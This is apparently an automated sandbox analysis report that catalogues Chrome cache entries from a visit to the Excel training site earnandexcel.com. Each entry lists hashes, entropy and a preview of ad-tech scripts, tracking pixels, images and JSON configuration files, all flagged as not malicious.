URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=600&u=https%3A%2F%2Fearnandexcel.com%2F&pid=RW7HWVEjO3yIQ&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A100%2C%22id%22%3A%22sticky_outstream_desktop%22%2C%22mt%22%3A%22v%22%2C%22s%22%3A%5B%22300x169%22%5D%7D%2C%7B%22sd%22%3A%22adhesion_desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%2C%22fc%22%3A%22USD%22%2C%22fp%22%3A23%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%5D%7D%7D%7D&sg=%7B%22ortb2%22%3A%7B%22site%22%3A%7B%22name%22%3A%22Earn%20and%20Excel%22%2C%22domain%22%3A%22earnandexcel.com%22%2C%22cat%22%3A%5B%22IAB9%22%5D%2C%22sectioncat%22%3A%5B%22IAB9%22%5D%2C%22pagecat%22%3A%5B%22IAB9%22%5D%2C%22page%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22mobile%22%3A1%2C%22privacypolicy%22%3A1%2C%22content%22%3A%7B%22cat%22%3A%5B%22IAB9%22%5D%2C%22language%22%3A%22en%22%2C%22data%22%3A%5B%7B%22name%22%3A%22gumgum.com%22%2C%22ext%22%3A%7B%22segtax%22%3A2%7D%2C%22segment%22%3A%5B%7B%22id%22%3A%22132%22%7D%5D%7D%5D%7D%2C%22keywords%22%3A%22earn%2Cprofessionals%2Cexcel%2Cskills%2Cvba%20course%2Cskill%2Cmarketing%2Cgame%20changer%2Cpowerpoint%20lesson%2Ccomplete%20package%2Cability%2Cprofessional%2Corder%22%2C%22ext%22%3A%7B%7D%7D%7D%7D&schain=1.0%2C1!mediavine.com%2Ca6b3ff189247621e2e58a04c0b9bf64b%2C1%2C%2C%2C&gpp=DBABzw~1---~BqgAAAAAAgA&sm=b3b84b5b-5556-4cb7-9339-43a43ae9e184&pubid=38918095-8e45-4332-88bf-226b3514cb64&gdpre=0&gdprl=%7B%22status%22%3A%22explicit-no-gdpr%22%2C%22enabled%22%3Afalse%7D
Preview:	apstag.punt({"cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&gdpr=0&dl=gg_an-db5","cb":"0"})

Chrome Cache Entry: 1065

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	719
Entropy (8bit):	5.306463624836045
Encrypted:	false
SSDEEP:	12:kxPw9uRFN+sD+NPbFqH7BouKLn+sUvuRDE1XuzU8K+sUkk:kC9uZ+s62a/7kGnAu
MD5:	AD24304176154908BAF7C4FF156D816C
SHA1:	52F80521373D8A4CF781577822B5FA498E598F52
SHA-256:	A7A15ECE8365387348D01419848E09CCA1524E2F297BCF5FECE06B936313CBA3
SHA-512:	CCDB6D0F698EA431BE5E978B399450C3AE622605A59C8A46168A5208FD581CB27765521E9BDA4BF489718A70728C631A95B57497553116008D4F5C197F1D86DA
Malicious:	false
Reputation:	low
URL:	https://ssbsync.smartadserver.com/api/sync?callerId=8
Preview:	<html><head></head><body><img src="//exchange.mediavine.com/usersync/redirect?partner=smartmedia&partnerId=4753157250981775246&gdpr=0&gdpr_consent=" />.<img src="https://id5-sync.com/i/102/9.gif?gdpr=0&gdpr_consent=" />.<img src="https://cms.quantserve.com/pixel/p-EtBqU4Lj3YbAv.gif?idmatch=0&gdpr=0&gdpr_consent=" />.<img src="https://s.company-target.com/s/eqx?sspurl=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D152%26partneruserid%3DPARTNER_USER_ID&gdpr=0&gdpr_consent=" />.<img src="https://sync.adotmob.com/cookie/smart?r=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D66%26partneruserid%3D%7Bamob_user_id%7D&gdpr=0&gdpr_consent=" />.</body></html>.

Chrome Cache Entry: 1066

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9804
Entropy (8bit):	4.870012596238508
Encrypted:	false
SSDEEP:	192:k0MG3KykMBXng/gnR8i6HOe1t3lSaDZlc0KfSC2K5FQoFQL4MsSONJOJf:kA3Hki86e1t3lSWZlLKfSxK04bSjt
MD5:	69DA075DC5585C42BF9ACE4778D40C09
SHA1:	AC59C78AE2EC653AD2C403C31AF20D650019FC80
SHA-256:	53FF92E4B7CA5E4C5FDE6ABB78B65370211D7C6818CF443DC950326697B8DC54
SHA-512:	AF64E88A655C7BB27FF25500395FF3E1BFBA7B4684E7C5032D18F676ACBC99A5459D1289A1B4CC61DE1DFF91E16091028211219DD50465135EDFE7A20F37B2D1
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/js/widgets/grid-query.js
Preview:	(..function( $ ) {...'use strict';....$.fn.EdumallGridQuery = function() {....var $el, $grid;....var isQuerying = false;....var $queryInput;...../*.... Use small loader under of the grid instead of whole grid for pagination infinite scroll + load more button..... */....var infiniteLoader = false;.....function initFilterCount() {.....if ( ! $el.children( '.edumall-grid-filter' ).data( 'filter-counter' ) ) {......return;.....}......$el.find( '.btn-filter' ).each( function() {......var count = $( this ).data( 'filter-count' );.......if ( $( this ).children( '.filter-counter' ).length > 0 ) {.......$( this ).children( '.filter-counter' ).text( count );......} else {.......$( this ).append( '<span class="filter-counter">' + count + '</span>' );......}.....} );....}.....function handlerFilter() {.....$el.children( '.edumall-grid-filter' ).on( 'click', '.btn-filter', function( e ) {......if ( $( this ).hasClass( 'current' ) ) {.......e.preventDefault();.......return;......}.......if ( '1'

Chrome Cache Entry: 1067

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 191 x 81, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	9500
Entropy (8bit):	7.948167188620137
Encrypted:	false
SSDEEP:	192:tB/n4dESsduECbSza2GH4D40/euYmNyHuz76iSRAow2cBfDf:tB/PCbSzoH4cMYm8SeBAJVBLf
MD5:	1E538AA5107EE90EDDB3BAE925D29C2B
SHA1:	F79732A8225795A23193F826CBB2AC48CE382EC4
SHA-256:	035196D1356DF45F3123207CE022E9EBEEE0C47FC3A684AA366EF7863A286AA5
SHA-512:	7558F4B50AD41779CE7F82394D993E61BB67E4C7283D2113AFA96942A5A8D1B82990AA524CC46C19A2778975381ABDD744E883E57B72249CD8590C9018FFF44C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/UBS.png
Preview:	.PNG........IHDR.......Q.......w...$.IDATx..ZIH.].6.h^4.4.s.<@...T.EQQ.DEE....6..QD\.n...PQ.DD.t.B.q...y...s....W}_...}.....=...{._...L.">\|,S....l....+.....,v...I!FGG......O...)...GP..pp.$..OLL.I.7...k=.>.....r..`.....>.....333 4......0...C........^.q..`hh.F.....5.EKGG......7..q~II..._N.>-.....6.....~.#......~}.$''KHH......._].\|..Z..J]].R.j.eeeRSS..NOO.u..)...;&.....Os.....3V.qAX..W'..=zTV.X....]+... ;;[..j...o,.###.F..........u.!....S........J.....C..<{v..>9f..{;. (..%?..$.#....'+W.....d?~...III.'.3..~.".IXN:....`.4V.m..H<..S.f....RN.qUL..,x^b...B..sC=...u....a.........Y.z..Y.F...#[.n.M.6..ga.....i..E .....V..y!.....eF..-.?P..O...:....40s..A.......O..[..G..e..%...y...\...G...$#..p..k{NSn/...`.^......L......AyB~{...xG.;.......#""Taiii.y.f..Ob..@6x\|..K...zA.....i`..].j.+..>1.'.....b.....@vo.= ..y.=....B39......s..{.......KoJO.7..."?e.>..9.{.....Bf_...\j.z.O.}..I.V...}...%ZZZ....h...5.cz....{........d.^....t..:.......m.'.+...8...DOO...

Chrome Cache Entry: 1068

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1069

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 93, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7941
Entropy (8bit):	7.961809771935375
Encrypted:	false
SSDEEP:	192:ovrLlTBjXCo8sgbLYZG7iADPTHugSn1K/D+:o3NJ8JbLYZVADPTOgdr+
MD5:	8D29F4ED693D5CE8878E6E365FC1C320
SHA1:	1500E41D64F7C34FC00E782847803EB6BCEB5BA8
SHA-256:	858BE246C608218A83436FA0E935D1D94C1D36FF98AA141AC29CA4ADEF834F58
SHA-512:	20088EA96AD11E55FBEB34B99015048B12ECDD38702F5933E893F708B0AE21F4754DFD90DF6EB2BC706D2C5F3164FD603783F18A9F19A94A07DB4756041B0A4B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......]............IDATx..Y.N]..y..y.<.eJ.P...n.............R..D.n.I......y.._._...s.s.....j...{.g...., %.Y@@@.M@@.M@.?. .j...JZ..."......QQQaB~~..........R.....B.....1....9......a //O.2..i...........$y/..z......2.......q@.M...YYY.....s....$ A..Xj..!...B.8!0@@....{q..._ET.=.....#...b...l.........I...A.?~... .&E.....G[.h...4.F..e......'..#l...~.I......\|.u..a.l...6r.H.2d..?v.Xk...qCduc..7..\......k;f...0`.u...o.n..../..={..S5..7~.x...'O.l=z..... .q.e..U\..G.hn...{.G...?..u..Uk.....Y.........Z.<ybq@....4.O..v..YZZ.Q.6mj..76.[.nm.=cLg5...[.n...7....H,z....h.Yc.k.....e..Y3]..Z.ha./^4..S.m[...F.S.....2.........E....g.5l.P.Q......D..)...I]4.2..EzH.}.6m........2.......Y..1....t...5k.v}.BM.2.#%".....]......P.\.Z..-..^V.....0a....h_..xx....X\.D..h...u...K...DP,./_......\.N..#...={.....$.....D.}{;q..q..pi.=S..=..u)....z/Y....c...&h}..fq...i\|...7~.8 .&E.l.I;+.....d9.+Q .B...wX..z..,..A..y. B..b....6m.....}..

Chrome Cache Entry: 1070

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	134
Entropy (8bit):	5.654166686626585
Encrypted:	false
SSDEEP:	3:YW/wxDED3Br1jI22VBTA/5OkPf5RR2st/KPmBXNA8P3Y:YWJD3BhjI2ysfPR2st/KPmBBPY
MD5:	57259258A3F8A75E1CA389AA9C8EC5ED
SHA1:	2E78BF71599AE993DBA16E94AB9FB3C6CE071EC5
SHA-256:	27E3FEAF5A974473B292554492EAD5BBD6EEC61F4EC113737EAA67F1C6791503
SHA-512:	314C39406C5BA4E26D3DDEEC19A339AC12EB0B6B7FF68F47A1A697F37EB8D63DA3E6313A6AA67884DC05EA17FCE6A837936E5D9D2DE0637EBA6FF9410EF03E4F
Malicious:	false
Reputation:	low
Preview:	{"s":"9DTnwz+jhsfI3Pmg9wjTLPFmIOOsz5aZTpi4vGxuaZJgxZ337QRx","t":"9UktgjSbCFey4CCobNrtVIHhEeSqosXA2J51NYuswzwHug==","kid":2,"ttl_s":77}

Chrome Cache Entry: 1071

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	379
Entropy (8bit):	5.970818637844654
Encrypted:	false
SSDEEP:	6:YVg49hfvSUZpXXJj5WcRZME0DUTpi7ccbvHunN6yppxKQm33C3m/4HgCA3qGePfp:YK4fnDXVAcRZMEjA46+RoC3m/6A3qGyp
MD5:	B0C6F9FDBBD6DA4BBD5075D00CF7400F
SHA1:	2425BED441EC1D6511B28951468D703C36E6C861
SHA-256:	DF4BA62A65B1DF64A2A2C2480E12787944E0F68E54774837F35391016A43F22E
SHA-512:	D46C69D25B42DEEB120DBDC76B5A60A4CC95BDAC974263084833F0D3CC8C9774FAD85E9351083AB2C79151C6A82F4FFC18EF9F0280F7BC8EAAA6125DBD87FB00
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:DylAZIqKticDi6yr:Rrf1Q6uGz+780G7AD24WvbP7qUh3t6y7GyKKqt+p4+m824rlqr2ih7ATQByOoCSFlPGdzY9GisJecM3q7GgNU2RQooprxtTUgQiPnx6y","adx":"V1:VOmPQBkZT76LEs+y:wqL+LN/frLS3X6Uc+DJNMBwNUPzRum4c/eQKJkzBzJz3PQIfW0DR8FoYjK0IxG0VOQWdXsQAwCA/K9WrGA4bThhYMCbFYrhurg==","unf":"V1:cMLTTcs27DLTs9rU:3DUaJxR+wxL8fnF7ds4elCMbQZruPbNeFfXge5lLfFjz94FfgpmwAI9q6m9XXmKSbtOo/nB/B32MQTvJWxUM5g=="}

Chrome Cache Entry: 1072

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 55, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8610
Entropy (8bit):	7.9452912259481145
Encrypted:	false
SSDEEP:	192:1Fq0yqqB+7tm3Icits9xeovCgh+Dqk2LFBLRmullCz+xkvnCM0:1DylUdqx3vCpP2LFBYk8c0CM0
MD5:	5AE596200838E82346A2741836A4E786
SHA1:	4B82C7A7F6E429EC45885DF48128CE105A319B6E
SHA-256:	B513786CBD843F4098D0FB45897CA8AA70FA26FF97DE81470C7DACEF32DADAC4
SHA-512:	F2BEB03C93001EF81BC15BA522D8FB0D8AB8357C55D9751AFEB5DF39FBB0AF376A9A245E97256A907ADC09231D11EFF13CEC839836FB9825BB012A78BF09C84B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/SHELL.png
Preview:	.PNG........IHDR.......7.....^.....!iIDATx...VK...'....}....B..b#&&...".""&..........s.-X0..9.^..<..lf..gf..~.U..Q".$.<J$.D."$...&BFF.RSS...&......\....y.\|..I.?~...........K.P....\|...I............?...H...7t..).;vL.7o.U..\|.r.?_.-....c...?.^..?....\|!!....gB.Dr............q....7O#F.P..U.^=5l.Pu..U..U.Z5U.^]5j.P.Z........y...8p..,X.C...d..>....Q".>.}H..H?\|..}..i.Q.S...V.je.v.T.R%U.RE..7V.M.eK.j.{k.A.5j...Q.\|yU.P...[7...]S X.....(..t.Db....h.qj....+..5k.k.j.5V..@...B..H.C.....2.9.i..m.Z]...wo#.W............".... .[.ni.i..M....:{6q.D-Y.D.7n.5k.S'#@.~..a..s.....1 ......E17j.A:x.`8...........;D.g....9R.J.B..n...7...}.Ez..%...O.>..CU.xq...3m...E.=.+.Q."..u...%J.I.[....'.Q"9K...@.....\.0n..$.F...27.K..F.9s...7z....?.........*X..F....o...Y..3g...?w.\..<.R.KP..eVb..z..]B.D....}.j~.Ci....afh...<...=zP..2e...n.9}..:v..7.....4>.....f`.3f.`..Hp..e.2...27..;V.s.Ns.J....OX.#......f..i..3....zJ'..a.\Ax}.B...._.....9z.p.....)..U./.o.\|).<S%...!eH

Chrome Cache Entry: 1073

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 56, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8831
Entropy (8bit):	7.953333810333202
Encrypted:	false
SSDEEP:	192:9QiX/7z02w46OWRwKQ1Rt8ub0c3KXEiSyYCaCEI7xvQvqP:9QiX/fnwVR8Uuz3K0iZLau744
MD5:	5918C3383883E21517C582116A7EBBC7
SHA1:	5A12E457BCC3BBF28483D2D96FFB5F0C775B14AD
SHA-256:	12AA189B3ABA41B37E11D9EB8ED7841D02EFE14AAC49688092F4B6E5D7A1178A
SHA-512:	7BE93B6DD2AD69E6A0EFE5C600D62CEE61052473A6E3EC28B424DF864D0F99E1ADE042E4C091832A8601FE69B1B3A1E33A5558B4B79072D8897072AADC7B0820
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/RBC-Royal-Bank.png
Preview:	.PNG........IHDR.......8........s.."FIDATx..e.UO....................(b.....^~.....{...a...g...<k=k...Q.\|."n....{..B+.....?[.?..}......>..}Z;...<y"_.~.q^..;._.~...3n....3h........~..v.q.}v.......~.;% .g.X........,...."........W. ....O...c.\|r...`.....{.....Hf.K.{.../d....A{/.}..S.."...\|.........,/.X`.Zh^.>...... \|7....^.x...n.}......r.L.Z~.x....-.....F<....'@8..-./.@...k...Q..P\|....!...7.k................3..m.]p......_.x!.o...<..x.k..z...}..!..=z.H..8 ......e_.Y.O.`..n.:......CF..)#F...].H...q..T..n.I.~.......\|.k...!C.H......<X......0`....'..{w............K.^..X.b.E.i...-[V..)".s..+K.J..d..];.w...8..].xQ.].F.i..t..Qj......'...~....2e....... Z...c.u.V.5j.T.^]..( ..$.'O....d.\|.X....K..c.!.E...3J.Q......:t.N.:I...%N.8.x)R..x..I..%q..(Q"..?.$I.D.'O.5U.T.:ujI.,.m.[.5..h..mS......7c..;.$M.T..+....'......3FJ..t.9s.T".w......-.E..]....bk5...]:.+r..R.tiY.p..{..T)....1'..5+...@U....g2v...T.f..Z..,P..%$C...={v.0a...k..T...i

Chrome Cache Entry: 1074

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65457)
Category:	downloaded
Size (bytes):	435081
Entropy (8bit):	5.372209833965442
Encrypted:	false
SSDEEP:	6144:QRgOnSY1vAoPwrNhZQ9we1l8uYc5fSaxLTx0qnuCOf1Tt634NIb9H7:VFf6l8ChxLT1nAtTt634NWJ7
MD5:	38AF2D37A45355D6B64EFF71DE712059
SHA1:	C21B2306C4DF2D1F80134E7FAFE43E0BEACF2000
SHA-256:	699EF7BBAAB3CB68BC64A28F708DCC059C8B8B4CC3B8E67ACFF9A82B33018B50
SHA-512:	39112266570F15D6CD7DF138D240C65C5D48CAFD8CCFA22A2AB53BD50056FD7501E02CC25412D2B1C2574D3F8ED61B7386C9310B78310E725A9C36269CF5BD6F
Malicious:	false
Reputation:	low
URL:	https://f.vimeocdn.com/p/4.29.4/js/vendor.module.js
Preview:	/* VimeoPlayer - v4.29.4 - 2024-04-11 - https://player.vimeo.com/NOTICE.txt */.var e=Object.prototype,t=function(t){var n=t&&t.constructor;return t===("function"==typeof n&&n.prototype\|\|e)},n=function(e,t){return function(n){return e(t(n))}}(Object.keys,Object),r=Object.prototype.hasOwnProperty,i="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function o(e,t,n){return e(n={path:t,exports:{},require:function(e,t){return function(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")}(null==t&&n.path)}},n.exports),n.exports}var s="object"==typeof i&&i&&i.Object===Object&&i,a="object"==typeof self&&self&&self.Object===Object&&self,u=s\|\|a\|\|Function("return this")(),c=u.Symbol,l=Object.prototype,d=l.hasOwnProperty,h=l.toString,f=c?c.toStringTag:void 0,_=Object.prototype.toString,p=c?c.toStringTag:void 0,m=function(e){return null==e?void 0===e?"[object Undefine

Chrome Cache Entry: 1075

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9869), with no line terminators
Category:	downloaded
Size (bytes):	9869
Entropy (8bit):	5.424462955534096
Encrypted:	false
SSDEEP:	192:tXBF8imtSps9omqxmOFKHpMVFyCWAxX0PQY96GdOJSn19M+BxnSaB4IuxF:tXBF8tSps9hq5sCWAxXsQY50JSn1Sayb
MD5:	13A7F1D985DC534CE2264D3346326E81
SHA1:	D5562A25CACB946EA26C730A034A4536CCFF45E6
SHA-256:	7AA0B9B653B23A1BC4FE27EBC63363497466C40178143A28D6A46FE38C8A6898
SHA-512:	A7F88B330C878419D5A2C308DF63B474DA4C2EE49621FD0403F622A73C0C69B1BEB91DEB28FD0F0C1152844020966C8466BB6CDB504A481583B8FB9E5168AA5B
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/9900/fa46a3e6ae1aa23f09ad.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[9900],{7475:(e,n,t)=>{t.d(n,{CP:()=>h});var o=t(6039),i=t(5077),r=t(5914),a=t(6497),d=(e,n,t)=>new Promise(((o,i)=>{var r=e=>{try{d(t.next(e))}catch(e){i(e)}},a=e=>{try{d(t.throw(e))}catch(e){i(e)}},d=e=>e.done?o(e.value):Promise.resolve(e.value).then(r,a);d((t=t.apply(e,n)).next())}));class s{static retrieveGeo(){return d(this,null,(function(){return s.geo\|\|(s.geo=yield l()),s.geo}))}}const l=()=>d(void 0,null,(function(){const e=`${window.$adManagementConfig.web.model.launcherUrl}/flooring/countryLookup`;let n;try{n=yield a.Z.fetchJson(e)}catch(e){return{country_code:"US",state:r.y.CA}}return n.geo}));var c=t(6091),u=t(9860),g=t(3583);const m={1:1.25,2:1.15,3:1,4:1},p=m[window.$adManagementConfig.web.model.offering.id]\|\|m[1],f=window.$adManagementConfig.web.model,b={[i.D.banner]:f.bannerDiscrepancies,[i.D.native]:f.bannerDiscrepancies,[i.D.outstream]:f.outstreamDiscrepancies,[i.D.video]:f.videoDiscrepancies},v={rubic

Chrome Cache Entry: 1076

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 56, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8831
Entropy (8bit):	7.953333810333202
Encrypted:	false
SSDEEP:	192:9QiX/7z02w46OWRwKQ1Rt8ub0c3KXEiSyYCaCEI7xvQvqP:9QiX/fnwVR8Uuz3K0iZLau744
MD5:	5918C3383883E21517C582116A7EBBC7
SHA1:	5A12E457BCC3BBF28483D2D96FFB5F0C775B14AD
SHA-256:	12AA189B3ABA41B37E11D9EB8ED7841D02EFE14AAC49688092F4B6E5D7A1178A
SHA-512:	7BE93B6DD2AD69E6A0EFE5C600D62CEE61052473A6E3EC28B424DF864D0F99E1ADE042E4C091832A8601FE69B1B3A1E33A5558B4B79072D8897072AADC7B0820
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......8........s.."FIDATx..e.UO....................(b.....^~.....{...a...g...<k=k...Q.\|."n....{..B+.....?[.?..}......>..}Z;...<y"_.~.q^..;._.~...3n....3h........~..v.q.}v.......~.;% .g.X........,...."........W. ....O...c.\|r...`.....{.....Hf.K.{.../d....A{/.}..S.."...\|.........,/.X`.Zh^.>...... \|7....^.x...n.}......r.L.Z~.x....-.....F<....'@8..-./.@...k...Q..P\|....!...7.k................3..m.]p......_.x!.o...<..x.k..z...}..!..=z.H..8 ......e_.Y.O.`..n.:......CF..)#F...].H...q..T..n.I.~.......\|.k...!C.H......<X......0`....'..{w............K.^..X.b.E.i...-[V..)".s..+K.J..d..];.w...8..].xQ.].F.i..t..Qj......'...~....2e....... Z...c.u.V.5j.T.^]..( ..$.'O....d.\|.X....K..c.!.E...3J.Q......:t.N.:I...%N.8.x)R..x..I..%q..(Q"..?.$I.D.'O.5U.T.:ujI.,.m.[.5..h..mS......7c..;.$M.T..+....'......3FJ..t.9s.T".w......-.E..]....bk5...]:.+r..R.tiY.p..{..T)....1'..5+...@U....g2v...T.f..Z..,P..%$C...={v.0a...k..T...i

Chrome Cache Entry: 1077

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 1078

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1284
Entropy (8bit):	4.944665015403759
Encrypted:	false
SSDEEP:	24:4WYgwaGcMUYxxgFP5Gt24hJyCtByYVDiSYRe5V0/KUnA4CVn82:48VtYeAB8YPUe5qS4CN
MD5:	B2C61756EA779224B601B9769546188B
SHA1:	CF2240AADACC795FE95DE23434373242ACE5E48F
SHA-256:	C1293DA48E1B2AF732AD29577374B26A63BEB097B44A3C9D011C90C446691142
SHA-512:	FCBFF22301CED9C5F8EAF20D1A48CF58A5A96A258C558953EB0C3ADA37B17D34F7E16BEE0DF3309A2F133AE816C0AE6CE4D7AFD85D0D7B79020E4658A6A52B8D
Malicious:	false
Reputation:	low
URL:	https://sda.fyi/topics/
Preview:	.<!DOCTYPE html>.<html>. <head>. <meta http-equiv="origin-trial" content="Ajm9ltDXBX1372/v/oN7k0jqTZ9U9xKCjugeZWjMJDxrF65GjE76aL1JPv0uneNh3TIQYGW54bTNM0bLyF1FtggAAABWeyJvcmlnaW4iOiJodHRwczovL3NkYS5meWk6NDQzIiwiZmVhdHVyZSI6IlByaXZhY3lTYW5kYm94QWRzQVBJcyIsImV4cGlyeSI6MTY2MTI5OTE5OX0=">. </head>. <body>. <script>. (function() { . if (!('browsingTopics' in document && document.featurePolicy.allowsFeature('browsing-topics'))) {. window.parent.postMessage(JSON.stringify({ log: 'Topics feature not enabled', message: 'topicsLog'}), '');. return. }.. document.browsingTopics(). .then(function(topics) {. if (!topics \|\| !topics.length) {. window.parent.postMessage(JSON.stringify({ log: 'No topics returned', message: 'topicsLog'}), '');. return. }.. window.parent.postMessage(JSON.stringify

Chrome Cache Entry: 1079

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3216
Entropy (8bit):	4.953470123333179
Encrypted:	false
SSDEEP:	48:Yui6RR+1R5IWvYCZCfbaQIJSJEhL3SsqVTmKigjYLQU+uKi6+:n2dwQS0q5t8MbW
MD5:	68E569A9549CCFD451456FCCD80CFA4C
SHA1:	7312806084D15715F1888968F216A04F52D07210
SHA-256:	4EE4D45A9B7A3DC30B071322BF06656AD34547C89A44C791FA6EAA25AB9BF991
SHA-512:	3CEB3C2FEB663AE9657C079F69FAD23B2346CF973070CA3546612764F089C7F089441B5005CA4382842A4966DEAF58CBB53A1C1D6AEFD354C166C6C77BBA3177
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/sites/a93bd662-05a1-4ce7-81ce-4c67bccef190/config
Preview:	{"id":"a93bd662-05a1-4ce7-81ce-4c67bccef190","dbId":"a93bd662-05a1-4ce7-81ce-4c67bccef190","name":"Earn and Excel","domains":["earnandexcel.com"],"domainObjects":[{"domain":"earnandexcel.com","isVerified":true}],"googleAnalyticsId":"278709754","growEnabled":true,"hasPages":true,"deletedAt":null,"siteConfig":{"actionColor":"","alignment":"right","bookmarkImportCtaEnabled":false,"bookmarkImportCtaDeadline":null,"bookmarkImportCtaImageUrl":null,"avoidSelectors":[],"colorMode":"light","contentSelector":"","copyLinkShare":null,"defaultSearchSelectors":false,"defaultPopupWidgetId":null,"defaultSpotlightWidgetId":null,"defaultMostValuableContentWidgetId":null,"dynamicPageUrls":[],"facebookShare":true,"fullPageActionColor":"","fullPageBackgroundColor":"","fullPageHeaderBackgroundColor":"","fullPageHeaderTextColor":"","fullPageTextColor":"","googleAnalyticsEnabled":false,"growLabs":false,"hideSelectors":[],"horizontalOffset":15,"inputBackgroundColor":"","inputTextColor":"","inviewDesktopOffset"

Chrome Cache Entry: 1080

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3006
Entropy (8bit):	4.882699185282572
Encrypted:	false
SSDEEP:	48:YgN+BqS/tqdheMtNs+vFQIZQ6daPD+MXWeGWbDD6uijlsLD4++ewnEK2Iy0:hN+BqrdheEO+9QN6d2D+MXWedbDDwGLA
MD5:	41C591B7AC52BDA8F68385AA90A3F736
SHA1:	14188ED06A9014F4E86FD2FF07FCF6D6726DB367
SHA-256:	67A173EED817A9A4914293FFD4B66B58E3AC05F9E2B2AEF96CF521B6CDFA2B85
